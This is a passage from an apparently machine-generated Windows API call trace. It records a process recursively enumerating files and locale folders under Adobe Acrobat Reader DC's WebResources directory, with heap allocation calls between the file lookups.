lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0251.962] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f35b9b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f35b9b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f35b9b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0251.962] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0251.962] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f35b9b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0251.963] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0251.963] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0251.963] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0251.963] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0251.965] GetProcessHeap () returned 0xc10000 [0251.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0251.965] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0251.965] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0251.965] GetProcessHeap () returned 0xc10000 [0251.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0251.965] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0251.965] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0251.966] GetProcessHeap () returned 0xc10000 [0251.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0251.968] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0251.968] GetProcessHeap () returned 0xc10000 [0251.968] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0251.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0251.984] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.984] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0251.984] GetProcessHeap () returned 0xc10000 [0251.984] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0251.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.002] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.002] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0252.002] GetProcessHeap () returned 0xc10000 [0252.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.007] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.007] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.007] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.008] GetProcessHeap () returned 0xc10000 [0252.008] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.008] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0252.008] GetProcessHeap () returned 0xc10000 [0252.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.008] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.011] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.011] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.012] GetProcessHeap () returned 0xc10000 [0252.012] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0252.012] GetProcessHeap () returned 0xc10000 [0252.012] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.015] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.015] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.016] GetProcessHeap () returned 0xc10000 [0252.016] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0252.016] GetProcessHeap () returned 0xc10000 [0252.016] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.020] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x501, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x501, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.020] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.021] GetProcessHeap () returned 0xc10000 [0252.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0252.021] GetProcessHeap () returned 0xc10000 [0252.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0252.025] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.025] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x522, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.025] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x522, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.025] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0252.026] GetProcessHeap () returned 0xc10000 [0252.026] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.026] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 